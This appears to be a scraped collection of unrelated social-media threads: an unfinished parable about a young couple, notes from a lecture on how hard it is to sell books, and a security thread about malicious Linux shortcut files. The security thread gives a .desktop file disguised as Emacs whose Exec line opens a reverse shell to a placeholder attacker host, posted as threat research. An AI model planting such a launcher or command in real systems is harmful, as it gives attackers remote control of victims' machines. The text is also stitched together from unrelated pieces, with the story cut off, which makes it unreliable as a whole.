I read a beautiful story and felt it is #TooGoodNotToShare

Who is our true guide in life, with whose help we can take the right decision at every moment?

#ThreePiecesOfAdvice

Man chooses things or makes his decisions through his inner radar, which is his heart.
Once upon a time, a young newly wed couple lived in a small farm far away. They were poor and had no means of earning their livelihood.

One day the newly married man thought of leaving that field and going somewhere far away to find a job.
He told his wife,“Dear, I want to go somewhere far to earn money and I promise to come back with a lot of it so that we can live with all the amenities that we deserve. I don't know when I will come back,but please wait for me & be faithful to me.I will also remain loyal to you."

1/ Quick notes from

"How to sell million copies of your book" lecture at @HabibUniversity

No shortcuts.

Its a long lonely path and you won't end up with a million. You would be lucky to crack 5,000. Most books can't even reach 1,000.

#Authors #Writers #Founders #startups
2/ To save time and heart break. Here is a short summary.

If you crack it, it will take 20 years + a portfolio of books that are readable and of great quality. You will be broke, hungry and in pain for most of those 20 years.

And there is no guarantee that you will crack it
3/ Write about what you know and care about. Growing as an author requires you to read and write.

Consume and produce.

Don't just read about writing. Read everything. And practice the art by writing. Starting early helps.

Malicious shortcuts - not just for Windows anymore?
On Linux, drop any code into a .desktop file:

[Desktop Entry]
Name=Emacs
Exec=/bin/bash -i >& /dev/tcp/[RHOST]/[RPORT] 0>&1
Icon=bit.ly/icon-png
Terminal=false
Type=Application

#NoShortcuts [1/2]
I've been looking for the .desktop file format for a while.
Haven't seen it in-the-wild. Probably lame TTP.

But I've thought the same about .url and .lnk files used by attackers in Windows compromises.

Here's a thread of creative & evasive shortcuts: 2/2
Adding Dominik's research to the thread bc it deserves more attention
